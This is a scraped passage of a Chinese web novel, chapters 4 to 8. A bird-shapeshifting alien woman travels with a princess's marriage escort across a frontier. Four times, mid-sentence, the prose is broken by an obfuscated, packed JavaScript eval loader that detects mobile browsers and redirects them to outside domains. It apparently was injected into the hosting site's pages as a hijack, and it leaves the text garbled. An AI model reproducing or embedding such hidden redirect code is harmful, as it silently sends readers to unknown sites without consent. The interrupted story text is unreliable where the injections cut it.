士卒们在一片空地上集合,骑兵在前步兵在后,江骋盔甲齐整骑在马上,周鹏领着林一往马背上去,精锐的战马在林一上去半只脚的时候就斜开了身子,是个很油滑的卸力动作。 林一预估了一下明白了,这奇特的大耳朵毛茸生物载重能力有限,两个人或许还成,但其实她本身就是两个哒! 两米八的巨鸟形态重量约等于她的人形体重,在平时鸟形收拢在人形里面,鸟形时人形收拢在体内,看着纤细是因为骨骼都收拢成最紧密状态,而重量只会叠加不会凭空消失,马敏锐地感受到了这种压力。 周鹏并不如马通人性,他有点尴尬地拍了拍马脖子,“贵女不要见怪,这畜生……” 江骋的马头别开周鹏,骑在马上朝着林一伸手,林一看了看江骋的黑马,比寻常的马大上一圈,肌肉紧实密度 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15094409|163682||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 很高,于是欣然借力上马。 黑马顿时感觉脊背一沉,本能想要撂开,但它稳住了,它是、真正的、马王! 江骋没有和林一聊天的意思,他没兴趣和一个只会嘎嘎的人交流。林一理解他的羞怯,她其实也很矜持,一路上只是偶尔嘎几句,大部分的时间都是频频回头,很满足地看着身后好几百的男性士卒。 她的记忆力不错,很迅速就从人群里分辨出昨天偷窥过她的那几个,可惜对上视线他们又很惧怕,纷纷低下头或者移开视线。 昨天的风骚劲儿呢?真是……可爱啊。 林一砸吧了下喙,嘎嘎笑了起来,声音低哑难听,江骋没注意她在自己身后搞什么,本是想快马加鞭折返瓜城的,但不知为何坐骑乌风今天很惫懒,鞭了几次都不肯加速,直到中午才进了城门。 一到地方,江骋下马,刚把林一从背上卸货,乌风就在边上喘大气,缓上气才开始咕嘟咕嘟喝水,马嘴边都起白沫子了。 听说江骋回来,萧玲珑连忙从内宅跑出来,还没等见到江骋高兴,就见到嘎嘎直乐的林一正在江骋身边说着话。芙蓉面上顿时一沉,几步上前,先拉了江骋一下,然后冷冷地盯着林一,“你是哪家的贵女,如此不知礼?” 林一看了看萧玲珑,又看了一眼江骋,她是非常机敏的鸟,顿时明白了过来。嗨呀!很合理很合理,漂亮的男人总是会被抢先占有,如果不准备和这雌鸟打一架的话,她最好是远离别人的男人。 打一架的话……林一又看了几眼萧玲珑,“嘎啊↘……” ……这个男性遍地走的世界果然资源丰饶,一个毛都没有长齐的半大幼崽,已经早早拥有了男人。 林一笑眯眯摆摆手,打幼崽太不要脸了,野生无主的男人这么多,她光是进城就看到了一大堆,倒是女人比较少见,这说明她不用争不用抢,搞到一个(或几个)自愿听话的男人难度不大。 萧玲珑没有得到回应,心里有火,还待要说,江骋轻轻按了一下她的手背,黑眸和她相对,萧玲珑忽然意识到了什么,看向林一,林一笑眼弯弯。 萧玲珑几乎是很苛刻的打量着,良久,她也笑了,很天真甜蜜的一个笑容,也很美。林一对女人的笑容没有什么感觉,知道是释放善意就点点头,她注意力在别的上头。 盯着街道上来来往往的雪域男人,林一嘎嘎直乐,她其实进城时候就看到了,到这会儿才开始目不转睛。 她的目光定格在这些男人相同的特征上。 黑皮、健壮、大多光膀子,袒露着厚实的胸膛在卖货,一个个看起来非常放荡。林一还看见个赤膊男人拍了一把他的女人屁股,那女人很威严地瞪他一下,惹得周围男人哄笑,她顿时倒吸一口凉气。 一个人骚不是骚,一群男人都很骚,那就是族群特征了。 真是令鸟向往。 5. 第 5 章 林一在瓜城溜溜达达晃悠,这种行为模式基于她体内的一部分鸡鸭基因,大型鸟类都有种街溜子属性。 可能也有一部分巡航式觅食的潜意识。 林一在飞舟坠毁前几天,除了燃料耗空外,外携式营养液舱也干涸了,她体内的存储量不多,不过人形的消耗量很小,只要不进入化鸟战斗状态还能支撑一个月左右,正常来说是不会产生危机意识的。 不正常的是,瓜城的街道很香,一股一股奇异的香气自己往林一鼻子里钻。周鹏跟在身后,他其实挺尴尬的,魏朝贵女基本上不会走在外面,这一路上林一走到哪里各种视线就追到哪里,跟看食铁兽上街一样。他同时也很不解,一个贵女为什么对灰扑扑的边城街市兴致这么大。 江骋没有把林一关起来的意思,只是让周鹏做好随行护卫,所以周鹏也没法劝。可他忍了一路,在看到贵女往雪域人扎堆的黑市里走时还是憋不住了,拦在林一面前,耐着性子比划着说:“此地、异族群聚……属下一人力薄,恐护卫不周,请贵女莫入。” 林一饶有兴致地看着男人再次跳起可爱的舞蹈,比划了一下:“嘎嘎→,嘎↓?” 人多,我别进去? 周鹏使劲点点头,林一便摸了摸他的头,虽然对那些光膀子黑皮男人有强烈的兴趣,但会跳舞的男人也很可爱,他都跳舞哀求我不要过去了。 林一在周鹏反应过来前飞快收手,哼着歌往前走,绕开黑市范围溜达着。 周鹏耳朵都红了,跟上走了几步,忽然反应过来,贵女摸他头时,好像没有抬高手的动作。 他的目光落在贵女背影上,轮廓修长但不细弱,脖颈长而优美,脊背挺直,身子微向前倾,明明前倾身子是一种贵女特有的仪态,是为了在尊客面前微微含胸缩肩以示柔弱的,可林一的前倾给人一种怪异感。 除去身体仪态,她的走路姿势有种诡异的又重又轻巧的感觉:胳臂半张如鸟类的羽翼半开,臂膀平抬而手向下垂,脚步沉重但略微蹦跶,偶尔跳跃式突进,身体摇晃幅度偏大,显得嚣张。不注意的时候还好,一注意到就感觉和什么玩意儿有种神似之感,周鹏痛苦地捂住了额头,他想起像什么了。 座山雕。 座山雕停在一个烤羊摊前,目不转睛看着晒得黢黑的老妇一层层往烤羊上刷油脂和香料,烤制活物这个林一很熟悉,她知道自然食物的制作流程,看虚拟文本上头那阵子也学过烤肉,烤的是虫族的尸体,一种叫绿血蝇的虫族,并成功熏吐九百五十二名战友。 烤羊的老妇人连忙擦了擦手,招呼客人:“吃羊?” 林一盯着油滋滋的烤羊,憋着嗓子学出了来到这个星球的第一个词汇发音:“吃羊~嘎?” 周鹏有些意外,但没多想上来付钱,这钱是江骋给的,原本让他去带贵女添置些首饰衣物日常用具,可贵女压根不跟着他走,把他当成马弁用,一路到现在才有掏钱的机会。 片刻后,林一坐在瓜城灰土墙根下的木桩子上,双手捧着一扇羊腿,很慎重地张了几次嘴。人形时喙部内收,唇瓣是很柔软的部位不具备撕裂皮肉的功能,羊腿烤得很完整,她下意识想要弹出爪钩撕扯,就先见到周鹏有些无奈地咬了一块羊肉。 林一对咬这个动作比较陌生,但看着眼前金黄的,诱鸟的烤羊腿,她生涩地张开嘴巴,避开柔软的唇,露出尖锐的齿,咔嚓一口啃咬下去。 丰富的油脂和香气在嘴里交融化开,瞬间击中了林一的心巴! 周鹏只是吃了两块切好的羊肉,用袖子擦擦嘴的工夫就看到林一手里空空如也,顿时一愣,羊腿呢? 林一舔了舔嘴巴,好吃,就是骨头有些不入味,渣渣的影响了口感,她看着周鹏,眼神很柔软的:“吃羊,嘎?” 晚上周鹏把林一带回宅子的时候,脑子里只剩下了贵女沙哑而低沉的嗓音,说出来谁会信啊!一个柔柔弱弱的贵女,吃掉了一整只烤羊!四个壮汉的食量! 周鹏是有些浑浑噩噩的,连向江骋汇报的时候都在走神,一会儿是林一揉他的头,一会儿是她柔软的眼神……他到底也还是瞒下了这事。 林一吃羊那会儿肚皮撑得比较圆,不过她的皮肤延展性很强,胃部的超强力消化酶是经过多次基因编辑的产物,吃完溜达了一圈,肚子就平了下来,体内有了充足的……呃,不算很充足,比起营养液完全满足数月战斗消耗,吃这样一顿自然食物大概只能维持一天的人形消耗,压根带动不起来鸟形,鸟形只能处于休眠期。 可还是好满足啊! 林一打着烤羊味的饱嗝张开双臂懒散地靠在椅子上,忽然耳朵动了动,听见外间有人脚步声,她闭上眼睛半睡不醒地打着瞌睡,没多久似乎听见里头有人的动静,两人又很快离开了,林一继续打盹。 送嫁仪仗次日启程,太守程欣有些倦怠,这一路从玉门到瓜城,驿站住着并不舒服,有时还要露宿,难得在瓜城住了一夜舒适的,又得早早上路。他打着哈欠来到车驾边,忽然看了一眼今天的萧玲珑,小公主红绸遮面,衬托得眉眼更加美了。 “待会儿离了瓜城,听闻雪域草原风大,故此遮掩一二,程太守为何盯着我看?” 程欣收回视线,他奇怪可不是因为萧玲珑遮面,而是她今日衣裳穿得怪异,怪素的,不似从前那个铺张的样子,这是提前习惯雪域习俗? 程欣摇摇头没再说什么,看到队里多了几个女子也不放在心上,前因后果他昨晚就弄清楚了。江骋从山贼寨子里救下的女子,在魏朝是活不下去的,跟着公主进了苏赫部落,反而也许能找一条生路。 庞六娘可不这么认为,她先前把江骋当救命稻草,现在已经恨不能活活咬死他,带着她们去雪域和亲!和亲!知道两年前静宁公主是怎么死的吗?远嫁和亲克烈部王子巴特铁木尔仅仅一年就被折磨致死,庞六娘以前见过静 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15094410|163682||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宁公主一面,是个穿一身蝴蝶鹅黄春衫,笑起来有一对很深酒窝的女孩子。 公主从臣曾在洛城面君时泣不成声,说公主下葬时尸骨不全,生前惨处,未敢一一报君。当时和亲的规格很高,有二十多位世家贵女作为陪滕从妾,也死得不剩几个了。世家贵女无不自危,庞家没出事之前,庞六娘已经在谈婚事。 萧玲珑这趟和亲自然也带了陪滕,有三十位,不过出了静宁公主的事之后,世族不愿送女从之,这三十个美人仅仅是从洛城周边良家遴选而来,这一路上都唯唯诺诺,比侍女的地位还要低。 庞家姐妹昨晚就想离开,别问两个孤身女子离开要怎么活下去,只要身段放得足够低,怎么都能活下去。 但江骋没有允许,事情已经到这个份上,多放一个人走就是多一份风声走漏,他不会做这样的蠢事。 庞六娘又恨又怕,庞十一娘则是情绪低落,她看着坐在车驾里伸头出来看风景的林一,低声对堂姐说:“那个小娘……她不会和我们一样的吧?” 庞六娘冷笑一声,没搭理。 她不搭理,林一反倒是跳下车驾凑了过来,这会儿正赶上骑兵休整,队伍停下,林一刚过来,就笑眯眯地对着庞十一娘说:“晨安。” 两人都愣了一下。 林一又摆了摆手,用虽然难听但很标准的洛下音轻声说:“鸿羽哥哥,既然已经有了人选,玲珑不能直接留在瓜城吗?” “瓜城人多眼杂,且程太守……你留在瓜城危险……” “只怕叫那些异族扣下……” 她竟是切换了两种语气在复述一场交谈,庞家两姐妹飞快地注意了一下周围,把林一拉得更近,示意她再低声些,林一声量没有压低,但周围确实没人注意这里,因为前面在埋锅造饭了,各有各要忙活的事。 等林一一通复述完,庞六娘鼻息咻咻,已经气得直翻白眼了,亏她以为林一的待遇好哩!原来是一对脏心烂肺的好鸾凤,拉了痴子做替死鬼! 林一嘎嘎催促庞十一娘给她比划,她听不懂昨天两人说了啥,但感觉音调复杂很有含义,自从昨天学会了吃羊两个字,她正在努力想要学会和人交流。 被催着,庞十一娘干巴巴地比划起来,她是有些比划水平的,因为她母亲就是一名哑妾,年轻时叫毒坏了嗓子,只能和她比划着交流,久而久之她也学会了比划,比划起来还很精准。 手语有极限,信息量太大没办法完全描述出来,林一也只弄懂了表层意义。 昨晚两人商量着,要送她一个老年男性。 庞十一娘在比划苏赫阿那可汗时,双臂伸展,画了一个大大的圈,又指了指地面。林一连连点头,哦哦,家里地盘很大,是很有钱的优质老年男性。 那幼崽人还怪好咧,她没有凭借武力去争抢幼崽的漂亮男人,于是大气的幼崽决定送她一个。 好鸟有好报!嘎嘎! 6. 第 6 章 庞家姐妹一片愁云惨雾。 庞十一娘算是明白了为什么她们走不得,她们知道林一的来路。江骋要替换公主,肯定不会是到地方再换,而是路上就调换过来。 那前头的老官知道个什么?他从玉门才开始送行,只说公主尊贵,寻了侍女替代见人罢了。世族历来有这样的事,贵女不轻见外客,有些名义上要出现的场合,以侍女着华服代之,就全了礼仪。作为领兵之人,其实只要江骋甘冒风险,事情就差不多定了。 林一对这两只傻鸟时不时的情绪崩溃已经习惯了,她提溜过两人,也见过萧玲珑和她的侍女,知道这个世界的女人没有第二形态。 当然了,在百鸟帝国的远古文明时期,本来就是没有第二形态的,最初大家都是鸟形嘎嘎,因为地面资源丰富,鸟祖们一个个落地生根,都成了走地鸡,羽翼退化后慢慢形成双臂,成了“人”的样子。后来跨入星际时代,百鸟先民又向往祖先的羽翼,历经百多代技术革新才开发出人鸟双形态可变换的基因模组。 这种基因模组植入非常痛苦,在蛋壳里就要开始改造,破壳后每年进行一次基因编辑手术,到十八岁改造完成。最初只有十分追求强大完美的雌鸟愿意让后代接受改造,后来技术成熟……所有的百鸟先民都不愿意试了:双形态同时消耗生命长度,原本能活八百岁的直接砍半,砍半! 这项技术很快被封禁,直到虫族天灾降临,源生战士流水线开启,才被复合编辑进源生战士的基因序列里。 所以林一压根不觉得这里的女人没有双形态奇怪,源生战士这种战争兵器才是异类。 一顿午食吃完,队伍继续上路,这趟林一从侍女的车驾坐到了萧玲珑的奢华车驾里,她有些新奇地看着素衣红绸的少女,戳了一下自己身上的衣服,颜色一样的。 “记住你们的家人还在洛城,从现在开始,她就是萧玲珑,你们的主子,听懂了?” 萧玲珑吹着指甲上新染的花色,撇了霓裳羽衣两个一眼,狠声说道:“可千万别以为能翻天!父皇弃我,叶家不会!” 两名侍女面面相觑,都伏在车驾地毯上连连叩头。 萧玲珑又笑了起来,柔声细语:“好了,不要再提这些伤感情的事,你们陪伴我也有很长的时日,我不会忘记你们的好,去了雪域,好好服侍公主,你们的家人,叶家会照顾好的。” 霓裳忍住酸楚,拉了一把羽衣,又给萧玲珑磕头,“主子,您在霓裳心里是唯一的主子,此去一别再无相见,霓裳最后给您磕几个头……” 羽衣也跟着磕,没磕几个,萧玲珑便道:“好了,心意到了就好,去给公主梳头,用心些。” 两个侍女都是很精明的人,霓裳去给林一梳发,羽衣为萧玲珑拆解发髻,林一的衣裳本就是江骋给的,和萧玲珑的衣裳是同工同料,蒙上红绸,只剩下些发式上的区别。 林一的头发黑长顺直,霓裳给萧玲珑梳过无数次的头发,每次都小心翼翼,养成了极为精湛的梳头手法。她很快为林一梳成一个双环髻,垂两挂辫子在胸前,簪戴了几枚宝石发饰,黑发底色映出缤纷五彩的宝石弧光。林一好奇地眨了眨眼睛,白皙优越的脸庞微斜侧抬,疑问发声:“呜嘎?” 聊着天,为什么突然过来捋她的头毛? 萧玲珑正抱着她的白猫儿抚摸,见到林一装扮完,倒是有些惊讶,“有些样子嘛,给她上妆。” 鼓捣几下头发对林一来说没什么,霓裳拿着尖锐物体——眉笔向她靠近时,她就本能挥开霓裳的手了,滚蛋! 车驾里的动静引起外头注意,江骋的声音从外间传来,“怎么回事?” “无事,公主闹脾气呢。”萧玲珑前一句话是对外说的,后一句转而压低嗓音,“不上妆也罢,雪域那些……嗤!等到了苏赫部,记得看紧了她,别闹出笑话。” 霓裳揉了揉被撞痛的腰,忍痛点头。 萧玲珑让羽衣收拾她要带走的东西,几样她喜爱的首饰自然要收拾起来,她用惯的茶盏杯碟打碎了也不肯给别人用。至于其他的,她都不甚在意,这趟离开雪域后,她会去投奔外祖母,叶家这几年虽门庭寥落些,却也是镇国柱石大将军的府邸,不是那等破落寒门。 魏帝萧宏少年登基,历二十三年,子女十二人,其中公主七位,两年前的静宁是五公主,萧玲珑是最小的七公主,上头的六姐是皇后所出,和萧玲珑同岁。 看似做姐姐的嫡出尊贵,但皇后只是魏帝皇子时期的发妻,属江淮豪族之女,中品世家之门,倘若不是外祖父几年前伤病去世,和亲的人选不会是她。 萧玲珑想到外祖家,指甲不自觉掐进猫身,她是决不能真去和亲的! 白猫尖锐地哈气,挣脱萧玲珑的手跳到箱笼上,林一谨慎地看着这个四爪蓝眼的雪白毛绒生物,不知为何感觉到了一种熟悉。 总不能真的是那个吧? 接下来的时间里,林一和猫维持了一个岌岌可危的平衡,她盯着猫,不敢轻举妄动,猫看着她,爪子跃跃欲试但就是莫名不敢挥下,直到夜晚临近,就地扎营,林一一拍大腿! 艹!她就说熟悉,这是星网虚拟毒鸟食里经常出现的贵重宠物,猫! 那些霸道雌鸟通常会以漫不经心的姿态丢给男人一只猫,轻描淡写地来一句“啊,两个资源星球换的,给你养着玩吧”,别看毒鸟食里经常写这个桥段,越是没有才越是会写进文本里啊! 据说猫都来自一个叫喵星的偏远星球,所有出口的猫资源都经过基因洗礼,无法克隆批量制造,是上层的上层才可能拥有一只的贵重宠物。 其实雌鸟哪里喜欢什么猫,不过是那些敏感脆弱的男人爱猫,那些天杀的猫贩子才把这同样敏感脆弱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15094411|163682||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的小东西炒作上天价。 林一跳下车驾。 经过一天的路程,庞家姐妹已经冷静下来了,世家贵女善于权衡利弊,倘若认了林一是公主,她们是一个山贼窝里出来的,天然比那些陪滕从妾和林一的关系更近。和亲公主的身份是危险,可一定会被带去雪域的情况下,还是有些地位更保险,何况魏朝公主和亲制度几百年下来,真的惨死到人尽皆知的,也只有静宁公主一个。 往好处想,也许是静宁公主嫁的人选不好,雪域三可汗名声赫赫,塔塔尔、苏赫和克烈,这一趟的和亲嫁的又不是克烈部,而是苏赫部,克烈部经常组织骑兵南下劫掠,和魏朝有血仇,嫁公主本是为了缓和关系,人家拿你当儿戏。 萧玲珑这趟要和亲的苏赫部,庞家姐妹真不熟悉,只是知道可汗苏赫阿那是牧民出身,牧羊人的儿子,少年时推翻旧主,率奴建部,三十年来征伐攻杀,占据雪域中部最大的草场,好像还和魏朝通商,关系不错,除此之外就不知道了。 庞六娘声音压低,对林一说:“今天车驾里,她们说什么,你……” 对上林一在夜色下显得越发流光溢彩的圆眼,她噎了下,只觉得这眼神真他娘的智慧,不由揉了揉眉心,让十一娘去和她比划。 林一不是复读机,她说了几句就不耐烦,往队列外面走,今天在车驾里往外看的时候,她看见不少活物,现在准备去捕猎。她没有欠账的习惯,前天吃了两姐妹的白团子,虽然没咽下去就被抠出来了,昨天吃了烤羊,今天吃了两餐饭,她都记着呢。 霓裳和羽衣过来拦她,林一不耐烦准备把人撵开,一回头对上周鹏的脸,她态度又软化下来,眼神又很柔软了,“嘎,吃羊?” 周鹏深深看了她一眼,做了个请的手势,“……殿下,程太守求见。” 七月的雪域还不是雪域,是一片草海,蚊虫极多。士卒们五人一伍,三伍合伙点燃火堆,架起行军锅,放一把炒米和肉干,咕嘟嘟炖一会儿就能喝肉粥了。程欣不吃这个,他这一趟带足了辎重,两个厨役给他炖汤烧菜。 程欣这会儿吃不下饭,他面有疑虑地看着江骋,这疑虑迟疑只是一种刻意摆出来的表情,心里头都快要骂死江骋了。 你要搞替嫁,你来时就替好了啊!一定要在他经手的这段路程换吗?当然他也知道,可能前期在魏朝境内,经过一些世族的地盘上不好弄这些,也许那会儿江骋和公主的感情进展还不到为她冒险的地步,但是!凭什么把他也拉上啊! 江骋没有解释太多,只是俊脸含笑,“公主尊贵,恪守礼法,经玉门时特意以北山公家伎代之,如今已至雪域,殿下感太守一路护送,故来相谢。” 在魏朝,三品以上可称公,常以字冠公前,以示尊崇,北山公指的是怀远将军郑石,字北山。 程欣暗藏的怒火顿时消弭许多。 7. 第 7 章 五年前,镇国柱石大元帅叶朔病故于武威城,满城缟素,全军披白。 虎倒雄风在,其一生义子、下属与故交均在军中朝上任职,怀远将军郑石就近坐镇玉门关,程欣心里骂娘,他是军来我是政,坐席排序他在上,年前开过一场会,我得尊他北山兄。 实际上郑石这个狗人,上位不择手段,当初叶大元帅一生四子,全部战死边关,那时郑石为叶家幼子的麾下猛将……啊这是郑石自称的,其实就是披甲亲卫。 这狗人正是在叶家幼子灵堂上磕头拜父,咬破舌尖哭成死狗,就地打滚磕头十二,称要为将主侍父,要为老元帅养老摔盆,当场连姓都要改。叶老元帅虽然推拒了改姓这事,但认了义子,最后那几年一直在为郑北山铺路,把许多老兄弟的交情带他认了一遍。 军中是最讲人情的地方,郑石的起点够高,也并非没有本事,叶大元帅的无形资本叫他吃够了红利,如今不过是庇护一女子,这人情郑北山不可能不还。 ……就算本来没打算还,当江骋带着萧玲珑去他郑北山面前,他还是不还?他帐下多少叶老爷子的旧部眼睁睁看着? 程欣视线远远看向公主车驾那里,别有意味看了一眼江骋。 萧玲珑的生母彤妃是叶老元帅仅剩下的血脉,早逝之后,唯一血脉就成了萧玲珑这个外孙女。魏帝久居庙堂之高,看不见底下的暗流涌动,权衡了轻重,以萧玲珑这个母族败落的公主为弃子,可在某些人的眼里,萧玲珑的重要性不亚于一条通天梯。 可你凭什么扯上我啊! 程欣实在是脑壳剧痛,但在看到周鹏引路带来的林一时,忽然就不痛了。 素衣双环,美人流光,萧玲珑在洛城以美貌传名,公主就是公主,洛城富贵锦绣堆里娇养十几年的派头,岂是那些鹌鹑似的平民少女可比?想寻人替嫁也不可能是家伎代之,程欣看着缓步走来的林一,把心放了一半在肚子里。 他故作责怪地道:“江校尉真是瞒得严实,那位北山公家伎也真是、好演技啊!” 话到后面还是忍不住刺了一句,他这趟原本不准备担任何风险的,他也没想要任何叶家的好处,却被拉上贼船。 周鹏在前面主要是起到压低林一走速的作用,他昨天就发现了,如果让林一在前面走,她的走姿会逐渐放大,最后形成身子前倾胳膊半张,大步前行偶尔跳跃突进的座山雕走姿,嚣张中带着一丝莫名的鬼鬼祟祟……总之这种走姿是不能叫程欣看见的。 步子只要放缓,林一的姿势就不会很外放,尤其她脊背挺直,脖颈高抬,露出纤细雪白的脖颈,是非常好的贵女仪态,程欣松了口气的同时对林一笑着说:“殿下,过几日就要到苏赫部了,毋忧毋惧,苏赫部不同于克烈部,苏赫阿那汗是雪域难得的贤者,三位王子也……” 程欣的话自己掐断下去了。 虽然不知江骋哪里找来一位端庄美貌的贵女,但世家就是世家,尤其是上品世家,是很难接受某些雪域习俗的。曾有贵女斥其为“禽兽行”,子继父妃,弟娶兄妻,可汗继位,妻其生母之外诸女,桩桩件件,都在把魏人世世代代的儒家正统观念按在地上锤。 林一打量着程欣,看了看江骋,这就是要送给她的优质老年男性吗?怎么说呢,她不是很喜欢。 刚准备开口,周鹏就轻轻拉了一下她的衣袖,这原本是想阻止林一开口,但林一误解了,以为是小男人吃醋,顿时嘎笑了一声。 草原的夏夜蚊虫侵扰不绝,程欣邀请林一来熏艾草,想进一步观察林一能否合格,但林一不怎么喜欢他,想哄周鹏去,摆摆手就拉着周鹏走,一路嘎嘎嘎直叫。 程欣回头,看见江骋的微笑,少年将军一身玄甲齐整。夏夜燥热加上火堆在旁,许多士卒都把披甲解开,从军容整肃变成了一堆散兵游勇,江骋不是不热,他脸上一层薄汗映照俊容,却一丝不苟穿着甲胄。 “江校尉,你要和我讲实话,此女来路可有问题?”程欣皱眉低声,“她……” 远处传来一声嘎嘎大笑,打断程欣未尽之言。 江骋擦了擦额头上的汗,也低声道:“并无后顾之忧,待婚宴结束,太守即可返程。程公,咱们说明白话,历朝历代嫁过去的公主,您知几分真假?” 程欣没有开口,深深看江骋一眼,往火堆里添一把艾草。 这样聪明的年轻人,可真不像是为了美人冒风险的情痴,人只要有权欲,看起来再温柔情痴,在他这样的官场老手眼里,目的性也是极强的。 没本钱的人想往上爬,要么拉下脸给人做干儿,要么靠给人做女婿,前者招笑,后者招骂,都是名声上的瑕疵,有路的人可不会选这个。 当年江家双虎共镇三关,黑水军战旗所到之处,雪域各部莫敢争锋,统万兜鍪何等威风,他们也没想到,自家的虎子会落到这个地步吧…… 程欣不再多想,端起僮仆呈上来的撒了干葱的鸡茸肉丝粥,把那点涌上来的情绪咽下去,只留肉糜醇香的余味。 今日话尽了,江骋笑容收敛,向程欣告辞,脸上始终没什么情绪,只是黑眸沉沉,朝着车驾方向走去。 “哎,别笑别笑!大丈夫生来立在人世间,打不折的骨头熬不烂的筋,这膝盖能值几两钱?可怜那恶霸被我钻了胯,是一个字都说不出来!他先前可说的,钻一次给一两银,兄弟们,你们猜那天我钻了多少次?把他脸都钻绿了!” 一个瘦猴脚踏着兜鍪,正和几个士卒嚷嚷着,似乎很享受这些投来的目光,他满脸的得意和沾沾自喜,高声叫道:“我韩小六当时就立誓,要跟这恶霸斗到底,一时的胯下之辱算不得什么——就是可惜呀,那狗东西他不认账了!不过没事,从此小爷走在街上,那恶霸可是躲着我走!” 人群哄笑起来,有个老兵笑得眼泪都出来,捂着肚子说:“小六,你可真是……” 韩小六更加得意,“公主殿下身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15094412|163682||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 边的姐姐都给我赏钱呢!小六在这里逗兄弟们一乐,大伙儿这么一听……你们你们,都别走啊,至少一人一把炒米要得的!” 众人顿时四散而逃,韩小六咧嘴作势去追,忽然看到没跑的老兵脸色剧变,随即一阵大力从后心传来,他往前扑到在地时顺势滚了两下,卸去大半沉重的力道,还是忍不住咳出一口血沫。 抬起头,是江骋冰冷的脸庞。 瘦猴韩小六一个字都说不出来,出口的只有剧烈的咳嗽,他挣扎着爬起来跪伏在地上,瘦削的身子颤抖得像风扫过的枯枝落叶。 有来不及跑的,也都不敢说话,江骋手在刀柄上摩挲数下,看着韩小六吐出一口血的样子,沉声道:“洛阳禁卫,谨言慎行,莫叫边卒看笑话……自去医者那里看伤,寻周副将领药钱。” 等到江骋走了,众人都围上来,老兵把韩小六扶起来,却见瘦猴少年缓了口气,吐出舌尖给他看,“老张叔,我没事儿,我咬了下舌头,我装的。” 老兵一噎。 众人之前看他颤抖吐血沫的样子,还以为江骋一脚给他踹不行了,这下子都忍不住笑骂起来,只是声音放低了,怕叫人听见。 士卒这边的这点动静没引起林一的注意,她逮住了一只黄灰兔子,正坐在车驾横栏上剥皮,白猫蹲在车驾里的箱笼上趴伏蹲,两只猫耳朵紧紧抿起来,漂亮如琉璃的蓝眼里倒映出林一按着兔子扒皮的身影。 昨天林一在烤羊摊看见了制作食物的流程,要先剥去毛皮,划开肚腹,取出内脏,再涂抹料水,上架火烤。 后面的流程她还没学会,不过剥皮清理内脏是很简单的事,这里的人没有鸟形,剥皮时使用铜铁器具,是远古文明的标配了。入乡随俗,林一借了周鹏的匕首,等料理完兔子,一刀劈两半,一半去给了庞家姐妹,一半送给周鹏。 周鹏显得有些受宠若惊,几次试图开口,又不知说些什么,有些干巴巴地:“多、多谢……谢殿下赐食。” 林一朝他摆摆手,嘎了一声。 昨天的烤羊很大一只,今天还白吃了两顿糊糊,她觉得这个份量还不够,这里的人都比较柔弱,男人女人都是,所以才要群聚迁徙吧?而且还几次试图阻止她离群,林一很珍惜这种真挚的关心,所以她决定夜里出去捕猎,不叫他们担心自己。 入夜二更,林一鬼鬼祟祟远离驻地,还没走出多远,看到有个矮瘦身影坐在一个草坑里,正在编织着什么。 林一的心顿时柔软下来,听说百鸟先民时期,男性会为雌鸟编织衣物,还有传统的编织节,在她的印象里,男性都是非常心灵手巧的小可爱。 她凑过去看。 韩小六正在专心致志地扎草人。 * 韩公讳六,淮阴人士,家贫。少时父死,母卧病,尝于贩猪时遇恶霸索钱银。不从,即受胯下之辱,谓其少有坚韧,经辱不改其志。 ——《史记.韩侯列传》 8.第 8 章 月色朗照。 林一的动作非常轻,她勾头直凑到韩小六发顶时投下一小片阴影也没有被发觉,韩小六只是本能侧了一下手,想找个有亮光的地方。 才低头就看见了一双细缎镶珠的女鞋,手里的草人吧嗒一下落地,向后瘫坐,抬起头才看到饶有兴致低头看他的林一,对上那张白皙漂亮的面容。 韩小六吓蒙了也没叫出声,好半晌,诺诺地道:“小人在此,只是……编些小玩意儿,是些草蚂蚱之类……贵人,小的……” 草人还没成型,只是个扎成三角的隐约半身,最出格的大约就是那个仿江骋束冠的脑袋,但草编粗糙,看着并不相像。放在平时韩小六能言善辩,早就一大通解释推脱干净了,可林一俯瞰着他的视角极其高大,夜色下一双流光溢彩的眼睛叫他慌了神,整个人身子麻麻的,腿在细微痉挛。 